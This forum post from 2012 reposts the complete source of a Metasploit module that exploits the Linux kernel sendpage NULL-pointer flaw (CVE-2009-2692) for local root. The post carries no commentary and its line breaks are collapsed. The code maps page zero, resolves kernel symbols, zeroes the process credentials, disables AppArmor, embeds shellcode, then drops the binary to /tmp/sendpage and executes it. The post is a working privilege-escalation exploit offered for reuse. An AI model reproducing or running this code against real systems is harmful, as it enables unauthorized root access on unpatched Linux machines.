LLegoLLaS Posted July 19, 2012 Report Posted July 19, 2012 Code:### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# web site for more information on licensing and terms of use.# http://metasploit.com/##require 'msf/core'require 'rex'require 'msf/core/post/common'require 'msf/core/post/file'require 'msf/core/post/linux/priv'require 'msf/core/exploit/local/linux_kernel'require 'msf/core/exploit/local/linux'require 'msf/core/exploit/local/unix'#load 'lib/msf/core/post/file.rb'#load 'lib/msf/core/exploit/local/unix.rb'#load 'lib/msf/core/exploit/local/linux.rb'#load 'lib/msf/core/exploit/local/linux_kernel.rb'class Metasploit4 < Msf::Exploit::LocalRank = ExcellentRankinginclude Msf::Exploit::EXEinclude Msf::Post::Fileinclude Msf::Post::Commoninclude Msf::Exploit::Local::LinuxKernelinclude Msf::Exploit::Local::Linuxinclude Msf::Exploit::Local::Unixdef initialize(info={})super( update_info( info, {'Name' => 'Linux Kernel Sendpage Local Privilege Escalation','Description' => %q{AKA Wunderbar Emporium},'License' => MSF_LICENSE,'Author' =>['spender', # wunderbar_emporium.tgz'rcvalle', # sock_sendpage.c'egypt' # metasploit module],'Platform' => [ 'linux' ],'Arch' => [ ARCH_X86 ],'SessionTypes' => [ 'shell', 'meterpreter' ],'References' =>[[ 'CVE', '2009-2692' ],[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ],[ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ],],'Targets' =>[[ 'Linux x86', { 'Arch' => ARCH_X86 } ],#[ 'Linux x64', { 'Arch' => ARCH_X86_64 } ],],'DefaultTarget' => 0,}))enddef exploitsc = Metasm::ELF.new(@cpu)sc.parse %Q|#define DEBUGGING#define NULL ((void*)0)#ifdef __ELF__.section ".bss" rwx.section ".text" rwx.entrypoint#endifcall main;push eaxcall exit|# Set up the same include order as the bionic build system.# See external/source/meterpreter/source/bionic/libc/Jamfilecparser.lexer.include_search_path = ["external/source/meterpreter/source/bionic/libc/include/","external/source/meterpreter/source/bionic/libc/private/","external/source/meterpreter/source/bionic/libc/bionic/","external/source/meterpreter/source/bionic/libc/kernel/arch-x86/","external/source/meterpreter/source/bionic/libc/kernel/common/","external/source/meterpreter/source/bionic/libc/arch-x86/include/",]cparser.parse(%Q|#define DEBUGGING// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h#ifndef __extension__#define __extension__#endif// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h// Doing #if on an undefined macro is fine in GCC, but a parse error in// metasm.#ifndef __STDC__#define __STDC__ 0#endif#include <sys/types.h>#include <sys/mman.h>#include <stdarg.h>#include <stdio.h>#include <unistd.h>#include <errno.h>/*OpenBSD's strcmp from string/strcmp.c in bionic*/intstrcmp(const char *s1, const char *s2){while (*s1 == *s2++)if (*s1++ == 0)return (0);return (*(unsigned char *)s1 - *(unsigned char *)--s2);}|)["external/source/meterpreter/source/bionic/libc/bionic/__errno.c","external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c","external/source/meterpreter/source/bionic/libc/stdio/stdio.c","external/source/meterpreter/source/bionic/libc/unistd/mmap.c",# This parses without any trouble, but actually calling perror() causes# immediate segfaults.#"external/source/meterpreter/source/bionic/libc/unistd/perror.c",# For some ungodly reason, NULL ends up being undefined when parsing this# guy, which of course causes parse errors.#"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",].each do |fname|print_status("Parsing c file #{fname}")cparser.parse(File.read(fname), fname)endprint_status("Unix socket.h")unix_socket_h(sc)current_task_struct_h(sc)case target.arch.firstwhen ARCH_X86print_status("syscall wrappers")linux_x86_syscall_wrappers(sc)main = %q^#ifdef __x86_64__#define PTR_FMT "0x%016x"#else#define PTR_FMT "0x%08x"#endif#define NULL ((void*)0)#define DOMAINS_STOP -1const int domains[] = {PF_BLUETOOTH,PF_APPLETALK,PF_IPX,PF_IRDA,PF_X25,PF_AX25,PF_BLUETOOTH,PF_PPPOX,DOMAINS_STOP};int *apparmor_enabled;int got_ring0 = 0;unsigned long uid, gid;static unsigned long get_kernel_sym(char *name){FILE *f;unsigned long addr;char dummy;char sname[256];int ret;f = fopen("/proc/kallsyms", "r");if (f == NULL) {f = fopen("/proc/ksyms", "r");if (f == NULL) {printf("Unable to obtain symbol listing!\n");return 0;}}ret = 0;while(ret != EOF) {ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);if (ret == 0) {fscanf(f, "%s\n", sname);continue;}if (!strcmp(name, sname)) {printf(" [+] Resolved %s to %p\n", name, (void *)addr);fclose(f);return addr;}}fclose(f);return 0;}static voidchange_cred(void){unsigned int *task_struct;task_struct = (unsigned int *)current_task_struct();while (task_struct) {if (task_struct[0] == uid && task_struct[1] == uid &&task_struct[2] == uid && task_struct[3] == uid &&task_struct[4] == gid && task_struct[5] == gid &&task_struct[6] == gid && task_struct[7] == gid) {task_struct[0] = task_struct[1] =task_struct[2] = task_struct[3] =task_struct[4] = task_struct[5] =task_struct[6] = task_struct[7] = 0;break;}task_struct++;}return;}int __attribute__((regparm(3)))own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e){got_ring0 = 1;if (apparmor_enabled && *apparmor_enabled) {*apparmor_enabled = 0;}change_cred();return -1;}const char *shellcode ="";int shellcode_size = 0;int main() {int i = 0;int d;int in_fd, out_fd;char *mapped;char template[] = "/tmp/sendfile.XXXXXX";int (*func)();uid = getuid(), gid = getgid();mapped = mmap(NULL , 0x1000,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,0, 0);if (mapped == NULL) {printf("Mapped zero page!\n");} else {exit(1);}// jmp dword near [dword 0x8]mapped[0] = '\xff';mapped[1] = '\x25';*(unsigned long *)&mapped[2] = 8;*(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel;for (i = 0; i < 16; i++) {printf("\\\\x%02x", (unsigned char)mapped[i]);}printf("\n");for (d = 0; domains[d] != DOMAINS_STOP; d++) {//printf("Next domain ... ");out_fd = socket(domains[d], SOCK_DGRAM, 0);if (out_fd > 0) {printf("Got domain[%d]\n", d);break;}if (out_fd < 0) {printf("out_fd: %d, Errno: %d\n", out_fd, errno);exit(1);}}unlink(template);// Couldn't get mkstemp to work, just use open(2) for nowin_fd = open(template, O_CREAT | O_RDWR, 0777);printf("Opened temp file: %d\n", in_fd);unlink(template);printf("Calling ftruncate\n");ftruncate(in_fd, 4096);printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0);printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096);sendfile(out_fd, in_fd, NULL, 4096);printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0);printf("UID: %d GID: %d\n", getuid(), getgid());func = mmap(NULL, 0x1000,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_PRIVATE | MAP_ANONYMOUS,0, 0);mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);// weaksauce memcpy so we don't have to #include <string.h>printf("Copying %d bytes of shellcode\n", shellcode_size);for (i = 0; i < shellcode_size; i++) {(char)func[i] = (char)shellcode[i];}printf("Calling shellcode: 0x%p\n", func);//sigtrap();func();return got_ring0;}^main.gsub!(/shellcode =/) do# split the payload into 16-byte chunks and dump it out as a# hex-escaped C string%Q|shellcode =\n"#{payload.encoded.scan(/.{,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"|endmain.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")cparser.parse(main, "main.c")asm = cpu.new_ccompiler(cparser, sc).compilesc.parse asmendsc.assemblebeginif sc.kind_of? Metasm::ELFelf = sc.encode_stringelsefoo = sc.encode_stringelf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)endrescueprint_error "Metasm Encoding failed: #{$!}"elog "Metasm Encoding failed: #{$!.class} : #{$!}"elog "Call stack:\n#{$!.backtrace.join("\n")}"returnend#puts Rex::Text.to_hex_dump(foo)File.open("payload.bin", "wb") {|fd|fd.write elf}print_status "Writing exploit executable (#{elf.length} bytes)"cmd_exec("rm /tmp/sendpage")write_file("/tmp/sendpage", elf)output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage")output.each_line { |line| print_debug line.chomp }#cmd_exec("rm /tmp/sendpage")endendsursa: bugsearch.net Quote